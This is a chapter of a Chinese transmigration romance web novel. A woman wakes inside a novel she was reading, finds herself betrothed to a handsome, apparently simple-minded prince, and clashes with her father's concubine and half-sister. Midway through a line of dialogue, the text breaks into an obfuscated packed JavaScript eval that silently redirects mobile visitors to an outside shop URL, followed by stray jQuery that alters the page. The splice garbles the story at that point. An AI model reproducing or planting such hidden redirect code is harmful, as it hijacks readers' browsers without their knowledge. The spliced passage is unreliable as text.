耳边传来一阵嘈杂的吵闹声,钟凝双眼紧闭,脑海闪过无数个零零碎碎的画面,升学、毕业、工作,万千画面飞逝而过,最后久久停留在她脑海里的,是自己闷头被窝看小说到自然睡着的画面。
然而待她猛地睁开眼睛,入眼却是陌生的红木床顶。
眼珠不安地转了转,随之而来的是四肢的僵硬酸痛,窗外的吵架声响越来越大,钟凝再忍不住心中好奇,深吸口气支着身体坐了起来。
这里是哪?
“太好了!小姐你醒了!”一阵惊喜的声音从耳边传来,钟凝循声望去,就见一个约莫十四五岁的女孩一身丫鬟打扮,眼里的惊喜毫不掩饰。
钟凝狐疑,见对方一副古人扮相,心里一阵没来由的担忧,但她强装镇静,面上却是丝毫不显意外,“你是?”
“我是月既!小姐你不认识我了?不会摔到脑袋了吧,不行,你可快躺好别受凉了,我现在就去找人来给你看看。”
月既?有点儿耳熟,好像在哪里听过。
不待钟凝想起,月既就给她扯了扯被子,行色怱怱说着就要往外走,钟凝急忙喊她拉住她的手腕,“月……月既!”
“诶!小姐你又记起我啦?”对方闻言又停下,一脸期待地望着自己。
记得个什么?钟凝不仅不知对方何人,更连现下自己身处何方都没个头绪。
古装?小姐?红木床?
她穿越了?
钟凝担心直接问话会被怀疑,想了想,决定暂且压下心中最好奇的身份不表,转而询问外面情况。
除了身份,最重要的是弄清楚自己现在身处什么地方,是否真如自己所想穿越了。
“外面怎么这么吵?发生了什么事?”
这话一出,月既面上持着的笑意顿时一僵,对方的神色转变全然写在脸上,钟凝安抚地握了握她的手以示安慰,等待对方出声。
“他们,他们......”月既语气犹豫,“哎呀他们就是不安好心!不过小姐,你别担心,外面有夫人给你拦着呢,他们进不来,你就安心躺着吧。”
这一通话说了和没说一样,钟凝直视着她,掌心抵着月既的皮肤竟是莫名给她一种前所未有的安心,“告诉我,他们是谁?”
“霜夫人和二小姐。”
“他们在外面吵什么?为什么拦着他们?”
“小姐!你以前不是最害怕和他们打交道了吗,现在他们连你静养在床都不放过,太可恶了!不过外面现在有夫人在,你就放心好了。”
钟凝沉默半晌,幽幽道,“这家的男主人呢?死了?”
“呸呸呸!小姐你胡说八道什么呢!老爷还活得好好的,这话可不兴往外说!”
“所以你还是不愿意告诉我发生了什么事。”钟凝故作不乐,松手背身拉过褥子,语气闷闷,“你走吧。”
月既见状顿时愧疚,虽然自己不告诉是她自以为的为小姐好,但现在小姐不高兴了,实打实的情绪哪里还比得上那些个虚的。
“哎,就是,就是你和那什么王爷的联姻!”月既开了个头,后续也就顺势出来了,“二小姐也太可恶了!竟然抢走了你喜欢的人。”
月既说话想一茬是一茬,前言不搭后语地扯了一通,见钟凝没有什么反应,接着又继续道,“现在情况是,二小姐和负心汉订婚约了,小姐你,你和......你和周府王爷订婚了。刚刚人家来下聘礼,霜夫人自作主张收下了,来你院子要给你说媒,你说哪有这样的理儿?”
对方说得绘声绘色,情到深处甚至还掉了一滴眼泪,倒是把钟凝这个局中人给看乐了,“我订婚,你哭什么?”
“哎呀小姐!周府王爷他,他可是个傻子!撞坏脑袋了的!”月既说罢心觉不妥,急急掩嘴看着钟凝不发一言。
“傻子?”钟凝忽觉这个剧情有点眼熟,她好像在哪里见过,“他有钱吗?”
“周府的独子,看那下聘礼的架势,应该有吧?”
傻子?
王爷?
有钱有权的傻子丈夫?
好事啊!
钟凝暗自揣摩目前困境,思及此笑了笑。
“小姐你笑什么呀!完了完了,小姐落水不会也撞到脑袋了吧,小姐你等等,我现在出去给你叫人……”
“叫什么人呀你给我回来。”钟凝一把把人拉回,接而换了自己起身,“你在这等着,我出去看看怎么回事。”
眼见着钟凝兀自起身,月既跟着站起,也幸而是三月的天,钟凝离开地暖范围觉得冷了,反身来寻外套,月既忙给人递上一条素白毛呢斗篷,斗篷这玩意儿她还只在书里剧里看过,真到自己穿,她还挺稀奇。
钟凝随意披了抬脚往外走,月既甚至来不及给她整理,挂钩只得匆匆往环扣上一挂就披上了。
斗篷碍事,却是极暖和的,推门而出的钟凝迎面受得一阵寒风,下意识裹紧了身上衣服,环视周遭一处小院,横廊小径绿植假山,如果说她出门前尚且还有自己在做梦的怀疑,这会儿却是全然置身情境了。
她想起来了,这里是她穿越之前熬夜看的那本小说!
月既是她身边唯一信得过的人;“霜夫人”梅霜即她爹的侧室,因着不喜欢被称做小的,特令钟府所有下人喊她作霜夫人;至于她要嫁的傻子却也不是真傻子,似乎还有反转的戏码。
争吵的声音不知何时小了,钟凝努力回想着书中剧情步步走出,月既随之其后,遥遥见不远处同有几个同着古装的身影。
“月既,那俩是二小姐和二夫人了吧?那个是我娘?”
“是的,他们好像要走了,我们等等?”
等是不等,钟凝以实际行动回答了她。
“娘,二夫人,这么冷的天怎么聚在这里?人都走到这了不如进我屋里喝杯热茶再叙叙?”
要说钟凝方才怎么能轻易区别出她娘和另外两个,看着装就是了,一边上好皮貂一边素色暗纹,似乎有点好戏看啊。
“早不出来,”谁能料想这二夫人丝毫不负钟凝期待,捏着一嗓刻薄声线撇了一眼钟凝,“周府公子方才向你提亲来了,这聘礼我代你收下了,婚约之期待人算好良辰吉日,霜儿和你会先后进行。”
“你收聘礼?她娘我还没走呢轮得到你收聘礼?今天这真金白银你交也得交,不交也得交!”
应话的是钟凝她娘,看着她这书中的妈丝毫不输人的气势,钟凝这才后知后觉记起,她这妈似乎也不是什么善茬。
女儿出嫁关心的不是男方条件,而是收了多少聘礼。
而且从头到尾,好像还没有人关心过她自己是否想嫁?
尽管这个时代有父母之命媒妁之言的加持,钟凝本身作为一个穿越而来的异世者,还真不乐意当他们任意一方的垫脚石。
全员恶人没关系,她自己也不是什么好人,看书时她就为原身女主的怯懦憋屈很久了。
“哎呀娘——爹估计快回来啦,你们这样也不是办法,我们都是一家人,有话好商量。”钟凝说着在长袖遮掩的布料下暗暗牵住她娘连锦绣的手,使力握了握,“再说,我们该在的人没有在场,这聘礼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13259405|139809||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下得也不算个数嘛。”
“钟凝,什么叫该在的人没在,霜娘和我还有管家都在,你什么意思?”钟婉清闻言就怼,不顾辈分礼数为甚,头上的簪子晃得耀眼。
然而不说这梅霜,就连她娘都对此不置一词,钟凝看在眼里,再无意陪这几个女人吹冷风,“既然二夫人和二妹妹无意饮茶,我就先行和母亲入屋一步。”
梅霜听闻钟凝一句“二夫人”,闻言面色都变得铁青,她和钟昌隆的私情忍辱多年才换来今天这个位置,立下的规矩就从来没有人忤逆过,这小丫头片子向来懦弱任人揉扁搓圆,今天突然转了性子,实在让人火大。
“钟凝,你好大的胆子——”只是梅霜的怒气还来不及发作,一道声音兀的传来,“夫人小姐、霜夫人二小姐,老爷传你们到院里一趟。”
梅霜一顿,狠狠剜了钟凝一眼,钟婉清见梅霜抬步,跟着挽手而上,接而才是连锦绣和钟凝月既几人。
一干人浩浩荡荡转移阵地来到前院,未见到人就听钟昌隆爽朗的笑声,显然心情不错。
“见笑了,这二位是我的夫人、霜夫人,这是大女儿钟凝,小女儿钟婉清。”钟昌隆和来客分坐一侧,说着招了招钟凝,“来来,这是我们凝凝,温柔贤惠,这是周府周王爷,还不快叫人?”
钟凝自进屋后就一直低着头,本意将自己的存在感降到最低,奈何天不遂人意,老家伙这么一折腾,屋里十几只眼睛全都聚焦她身上了。
“王爷。”钟凝喊着人又朝之看去,这不看不要紧,一看就竟让连自认浏览过万千互联网娱乐圈时代各形各色花美男的钟凝也移不开眼。
剑眉星目美人尖,宽肩窄腰身高挑。
在钟凝看向周在望的时候,周在望也看向了她。
不过和钟凝的扫视不一样,他的眼神则愣怔得多,就只是不带任何意味的单纯的看。
直到周在望忽然在这个静默的场景忽而喊出一声莫名其妙的“凝凝”。
所有人懵,包括凝凝本人。
这回周在望身侧站着的侍卫适时解释,一笔带过告知在场人王爷近来身体有点状况,只对有好感的人话多,没有恶意,还请凝姑娘莫要见怪。
钟凝被周在望一瞬不瞬的视线盯得心里发毛,点点头悄摸往连锦绣身后躲了躲,意图以此避开那有如实质的视线。
“哈哈哈,好,好。”钟昌隆对此倒是显然的乐见其成,然而谁能料想在这么个一众人仅有钟昌隆和周在望两人坐着的场面,周在望竟是再次当着众人面语出惊人一句,“凝凝,坐。”
钟凝再次被聚焦,面上表情都僵住,她讪笑着摆了摆手,幸而钟昌隆这回倒是及时开口,对周在望扯了甚封建礼教不合礼数言言。
这场见面后续倒是没有什么值得提起的,唱独角戏的角主要还是钟昌隆,陪同他唱的还是周在望身侧那个说话直白且不懂得拐弯的直愣侍卫。
在场人对此似乎见惯不怪,钟凝看得无聊,心思早不知道飘忽何处。
直到侍卫提出他们是时候要离开,钟昌隆的话头这才堪堪止住,又扯些不舍和常来聚的客套话,听得钟凝在心里也是佩服这爹,竟能在没话找话的情况下硬是生生拉着一大家子人扯了小半时辰。
先行送走了周在望,而后再是一干女眷按照先后顺序,钟凝来去坠在队伍末端,无意瞥到院里堆放的大箱木柜,扯着一身白氅走进雪地,几近与之要融为一体,心下算盘却是一直没停。
她真的穿越了。
要嫁给一个傻子。
好看的傻子。